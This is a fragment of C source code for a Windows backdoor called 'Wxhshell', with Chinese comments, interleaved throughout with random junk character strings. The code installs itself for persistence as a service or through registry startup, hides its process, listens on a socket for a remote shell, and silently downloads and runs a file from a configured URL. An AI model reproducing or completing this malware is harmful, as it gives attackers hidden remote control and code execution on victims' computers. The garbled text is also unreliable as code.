sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Dol{y=(3e Jy%?"wn CloseHandle(hProcess); mICEJ\`x H\a"=&M if(strstr(procName,"services")) return 1; // 以服务启动 *9$SFe|&n: M /v@C*c return 0; // 注册表启动 ~=iH*AQR } z)U7 b^C27s // 主模块 :o{,F7(P int StartWxhshell(LPSTR lpCmdLine) *j&)=8Y| { <\ <o#Vq SOCKET wsl; $.,B2} ' BOOL val=TRUE; RU4X#gP4Vh int port=0; 5!fYTo|G> struct sockaddr_in door; OVDuF&0 oo2d, if(wscfg.ws_autoins) Install(); 6Q [ QCb%d'_w+ port=atoi(lpCmdLine); e
}?.3,? $7DW-TA if(port<=0) port=wscfg.ws_port; g,EDE6`8 (~zu4^9w WSADATA data; #8"oqqYi if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8I/3T i$<['DY if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?l?l<`sTO setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EUuSN| a door.sin_family = AF_INET; ,7Hyrx` door.sin_addr.s_addr = inet_addr("127.0.0.1"); gtu<#h( door.sin_port = htons(port); }8Y! -qX rx2']. if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i83~&Q= closesocket(wsl); "nu]3zcd return 1; zT78FliY6 } !9_(y~g{N I@ueeDY if(listen(wsl,2) == INVALID_SOCKET) { MVzuE} closesocket(wsl); cZ:jht return 1; `_OrBu[ } e6j1Fa9 Wxhshell(wsl); F5
]<=i WSACleanup(); w/m@(EBK "UMaZgI return 0; %o%V4K* -t|/g5.w_ } bKCE;Wu:G -[-oz0`Sl{ // 以NT服务方式启动 C(G.yd VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qs,\P^n { WDIin6u- DWORD status = 0; CLaQE{ DWORD specificError = 0xfffffff; baII!ks 80@\e serviceStatus.dwServiceType = SERVICE_WIN32; Th9V8Rg+E serviceStatus.dwCurrentState = SERVICE_START_PENDING; uH9Vj<E$K serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yn~fnI{ serviceStatus.dwWin32ExitCode = 0; 0AQ4:KV(Y serviceStatus.dwServiceSpecificExitCode = 0;
`;6M|5G serviceStatus.dwCheckPoint = 0; jDY
B*Y^F serviceStatus.dwWaitHint = 0; 9u(pn`e 3 F0U %m hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8{G!OBxc\. if (hServiceStatusHandle==0) return; +QFKaS<sn y 9]d{:9
status = GetLastError(); h(/? 81: if (status!=NO_ERROR) f1_; da { M#'7hm6 serviceStatus.dwCurrentState = SERVICE_STOPPED; G7 UUx+ X serviceStatus.dwCheckPoint = 0; A?lLK&* serviceStatus.dwWaitHint = 0; gt}Atr6>_ serviceStatus.dwWin32ExitCode = status; dA hcA. serviceStatus.dwServiceSpecificExitCode = specificError; eVf D&&@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); #AGO~#aK return; VxN#\Di& } w"9h_;'C_ U7g`R@ serviceStatus.dwCurrentState = SERVICE_RUNNING; uQO5GDuK> serviceStatus.dwCheckPoint = 0; MT>sRx# serviceStatus.dwWaitHint = 0; ^@V*:n^ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !.j{vvQ/ } ElW\;C:K* s5@BVD'}E // 处理NT服务事件,比如:启动、停止 cn} CI VOID WINAPI NTServiceHandler(DWORD fdwControl) e#;43=/Ia { #'&-S@/nQs switch(fdwControl) (10t,n$ { :g|.x case SERVICE_CONTROL_STOP: b;QgL_w serviceStatus.dwWin32ExitCode = 0; v"1&xe^4 serviceStatus.dwCurrentState = SERVICE_STOPPED; XE2Un1i}j1 serviceStatus.dwCheckPoint = 0; jv~#'=T' serviceStatus.dwWaitHint = 0; LG,? ,%_s { R1LirZlzJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); %6cr4}Zm} } D=a*Xu2zq return; bDvGFSAH case SERVICE_CONTROL_PAUSE: i\IpS@/{-v serviceStatus.dwCurrentState = SERVICE_PAUSED; _E?tVx.6 break; 4xW~@meNB case SERVICE_CONTROL_CONTINUE: pA .orx serviceStatus.dwCurrentState = SERVICE_RUNNING; uN<=v&]q break; 7%"|6dw case SERVICE_CONTROL_INTERROGATE: 6h/!,j0:t_ break; \>:t={>; }; = cxO@Fu SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,.P]5 lE } jF;<9-m& $HQ~I?r{Hf // 标准应用程序主函数 I '0[ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3/vtx9D { #6@hVR. l)$mpMgAD // 获取操作系统版本 2Di~}* 9& OsIsNt=GetOsVer(); mfZbo#KS#v GetModuleFileName(NULL,ExeFile,MAX_PATH); s&ox%L4 i%133in // 从命令行安装 M{p6&eg if(strpbrk(lpCmdLine,"iI")) Install(); "#wAGlH6> 2+pw%#fe // 下载执行文件
%t_'rv if(wscfg.ws_downexe) { waC i9 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *P
*.'XM WinExec(wscfg.ws_filenam,SW_HIDE); \_.'/<aQ } bP$e1I3` 6'*6tS if(!OsIsNt) { o
Rk 'I // 如果时win9x,隐藏进程并且设置为注册表启动 5L6.7}B HideProc(); ]kNxytH\o StartWxhshell(lpCmdLine); iJ58RY } *><j(uz! else jR1^e$ if(StartFromService()) #p=+RTZ< // 以服务方式启动 W\<OCD%X StartServiceCtrlDispatcher(DispatchTable); o7we'1(O else ui8$ F
"I* // 普通方式启动 mu0L_u(P StartWxhshell(lpCmdLine); q#Otp\f ';.TQ_I7Y return 0; :D}?H@(69 }
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